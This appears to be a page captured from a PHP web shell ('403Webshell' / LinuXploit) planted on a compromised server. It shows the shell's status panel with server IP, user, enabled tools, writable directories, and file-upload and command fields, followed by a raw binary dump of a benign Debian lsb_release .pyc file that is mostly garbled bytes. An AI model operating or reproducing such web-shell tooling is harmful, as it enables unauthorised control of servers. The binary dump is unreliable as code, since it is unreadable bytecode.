403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.217.113
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/__pycache__/lsb_release.cpython-35.pyc


�iWs7�@s�ddlmZddlZddlZddlZddlZddlZddlZddd�Ze�ddd�Z	dZ
ejd	�Zd
d�Z
yeWn'ek
r�ddlZejZYnXdd
�ZddddddddddiZdd�Zdd�Zdd�Zdd�Zdd d!dd"d#id$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zed.kr�e�dS)/�)�print_functionN�DebiancCs�ytd|j��}Wntk
r:td�}YnXtj|�}dd�|D�attj��atj	ddd��ttt
t��d�a|j�d	kr�d
atjddd
dddg�|j
�dS)Nz/usr/share/distro-info/%s.csvz!/usr/share/distro-info/debian.csvcSs+i|]!}|dr|d|d�qS)�versionZseries�)�.0�rrr�-/usr/lib/python3/dist-packages/lsb_release.py�
<dictcomp>'s	z#get_distro_info.<locals>.<dictcomp>�keycSst|d�S)Nr)�float)�nrrr�<lambda>)sz!get_distro_info.<locals>.<lambda>�Zdebianzunknown.new.testingZstablezproposed-updates�testingztesting-proposed-updates�unstable�sid)�open�lower�FileNotFoundError�csvZ
DictReader�RELEASE_CODENAME_LOOKUP�list�items�RELEASES_ORDER�sort�zip�TESTING_CODENAME�extend�close)�originZcsvfile�readerrrr�get_distro_infos
r!cCsstjd|�}|s|St|jd��dkrPd|jdd�}nd|jd�}tj||�S)Nz(\d+)\.(\d+)(r(\d+))?r�z%s.%s�z%s)�re�match�int�groupr�get)�release�unknown�mZshortreleaserrr�lookup_codename5sr,z`lsb-core lsb-cxx lsb-graphics lsb-desktop lsb-languages lsb-multimedia lsb-printing lsb-securityzIlsb-(?P<module>[a-z0-9]+)-(?P<arch>[^ ]+)(?: \(= (?P<version>[0-9.]+)\))?cCs|dkrddgS|dkr[|dkr5dgS|dkrKddgSdddgSn�|dkr�|dkr}ddgS|dkr�dgS|dkr�dgS|dkr�dddgSddddgSn2|dkrb|dkr�dddgS|dkrdgS|dkrddgS|dkr0dgS|dkrLddddgSdddddgSn�|d
kr|dkr�dddd
gS|dkr�dgS|dkr�ddd
gS|dkr�dd
gS|dkr�ddddd
gSdddddd
gS|gS)Nz3.0z2.0z3.1�desktop�qt4Zcxxz3.2�printing�	languages�
multimediaz4.0Zsecurityz4.1)r-r.)r/�	languagesr1)r/r2r1)r/r2r1r)r�modulerrr�valid_lsb_versionsEsV







r4c
Cs�tjj�}d|d<tjddddgtj�d|dtjd	tjd
d�j�dj	d
�}|sygSt
�}x�|jtj�D]�}|s�P|jdd�\}}tjd|d�d}x�|jd�D]�}t
j|�}|sq�|j�}|jd�r6d|}	|j|	�q�|d}	x8t||	�D]'}
|
|d<d|}	|j|	�qPWq�Wq�Wt|�}|j�|S)N�C�LC_ALLz
dpkg-queryz-fz${Version} ${Provides}
z-W�env�stdout�stderr�	close_fdsTrzutf-8� rz[-+~]�,rz%(module)s-%(version)s-%(arch)sr3)�os�environ�copy�
subprocess�Popen�PACKAGES�split�PIPE�communicate�decode�set�linesepr$�	modnamere�search�	groupdictr(�addr4rr)�C_env�output�modules�linerZprovidesZpkgZmobZmgroupsr3�vrrr�check_modules_installed�s>
"			




rRrQr�or�a�suite�c�	component�l�labelcCs~i}|jd�}xb|D]Z}|jdd�}t|�dkr|dd�\}}|tkr||t|<qW|S)Nr<�=rr#)rC�len�	longnames)�dataZretval�bitsZbitZkv�krQrrr�parse_policy_line�s
r`cCsm|djd�}|ri|tkrBttt�tj|��Syt|�SWntk
rhdSYnXdS)NrrUr)r(rr&r[�indexr�
ValueError)�xrUrrr�
release_index�s
	rdcCsgtjdtdd�t|�}t|�}y||SWn&tk
rb||k||kSYnXdS)Nz^compare_release(x,y) is deprecated; please use the release_index(x) as key for sort() instead.�
stacklevelr#)�warnings�warn�DeprecationWarningrd�	TypeError)rc�yZ	suite_x_iZ	suite_y_irrr�compare_release�s
rkc
Csg}tjj�}d|d<tjddgd|dtjdtjdd	�j�d
jd�}x�|jd�D]�}|j	�}t
jd
|�}|r�t|j
d��}|jd�ru|jdd�}t|�dkru|j|t|d�f�quW|S)NzC.UTF-8r6z	apt-cache�policyr7r8r9r:Trzutf-8�
z(-?\d+)rr)r;)r=r>r?r@rArDrErFrC�stripr$r%r&r'�
startswithr[�appendr`)r]rMrlrPr+Zpriorityr^rrr�parse_apt_policy�s$
		!rq�mainZexperimentalzDebian Portszftp.debian-ports.orgcs�t�}|sdS�����fdd�|D�}|sBdS|jddd�dd�|dd��fd	d�|D�}|jdt�|dd
S)Ncs�g|]�}|djdd��kr||djdd��kr||djdd��kr||djdd��ks�|djdd��kr|djdd��j|djdd��kr|�qS)rr�rUrWrY)r()rrc)�alternate_olabelsrW�ignoresuitesrYrrr�
<listcomp>�s	z*guess_release_from_apt.<locals>.<listcomp>r
cSs|dS)Nrr)�tuplerrrr
�sz(guess_release_from_apt.<locals>.<lambda>�reverseTrcs&g|]}|d�kr|�qS)rr)rrc)�max_priorityrrrv�s	r)rqrrd)rrWrurYrtZreleasesr)rtrWrurYryrr�guess_release_from_apt�s	%	rzc
!Cs�i}d|d<tjjdd�}tjj|�r
y�t|��w}xm|D]e}yJ|jdd�\}}|j�}|j�}|dkr�||d<WqPt	k
r�YqPXqPWWdQRXWnIt
k
r}z)td|d	t|�d
t
j�WYdd}~XnXt|d�tj�d}|d,krHd||d<n@|dkred||d<n#|d-kr~||d<n
d|d<d||d<tjjdd�}tjj|�r�y,t|��}	|	j�j�}
WdQRXWnOt
k
r:}z/td|d	t|�d
t
j�d}
WYdd}~XnX|
dd�j�s|t|
d�}|jd|
d|i�nP|
jd�r�|
jd�j�dkr�|
jd�ad |d<n
|
|d<|jd�s�t�}|r�|jd!�}
|
d"krH|jd#�d$krH|jd%�d&krHd}
|jd'd(i�|
r`t|
d�}n-|jd'd(�}
|
dkr�t}nd)}|jd|
d|i�|jd�r�|dd*|7<|jd�r�|dd+|7<|S).Nr�IDZLSB_ETC_DPKG_ORIGINS_DEFAULTz/etc/dpkg/origins/defaultz: rZvendorzUnable to open �:�filer�Linux�Hurd�NetBSDzGNU/ZOSZFreeBSDzGNU/k�	GNU/Linux�GNU/kFreeBSDZGNUz
%(ID)s %(OS)s�DESCRIPTIONZLSB_ETC_DEBIAN_VERSIONz/etc/debian_versionr*zn/a�RELEASE�CODENAMEz/sidrztesting/unstablerz1.0rzDebian PortsrYzftp.debian-ports.orgrUrrz %(RELEASE)sz (%(CODENAME)s))r~rr�)r�r�)r=r>r(�path�existsrrCrrnrb�IOError�print�str�sysr9r!�uname�read�isalphar,�update�endswith�rstriprrz)
�distinfoZetc_dpkg_origins_defaultZdpkg_origins_filerP�headerZcontent�msgZkernZetc_debian_versionZdebian_versionr)�codenameZrinforrr�guess_debian_releases|


7

$


	6	r�cCsGi}tjjdd�}tjj|�rCy�t|���}x�|D]�}|j�}|saqFd|krpqF|jdd�\}}|jd�rF|dd�}|jd�r�|j	d�r�|dd�}|rF|j�||<qFWWdQRXWnIt
k
rB}z)td|d	t|�d
t
j�WYdd}~XnX|S)NZLSB_ETC_LSB_RELEASEz/etc/lsb-releaserZrZDISTRIB_��"zUnable to open r|r}���)r=r>r(r�r�rrnrCror�r�r�r�r�r9)r�Zetc_lsb_releaseZlsb_release_filerP�var�argr�rrr�get_lsb_informationas*
7r�cCsHt�}x8dD],}||krt�}|j|�|SqW|SdS)Nr{r�r�r�)zIDzRELEASEzCODENAMEzDESCRIPTION)r�r�r�)Zlsbinfor
r�rrr�get_distro_informationzs	
	
r�cCstt��tt��dS)N)r�r�rRrrrr�test�s
r��__main__)Z
__future__rr�r@r=r$rfrr!r,rB�compilerIr4rG�	NameErrorZsets�SetrRr\r`rdrkrqrzr�r�r�r��__name__rrrr�<module>sD5
(
^

Youez - 2016 - github.com/yon3zu
LinuXploit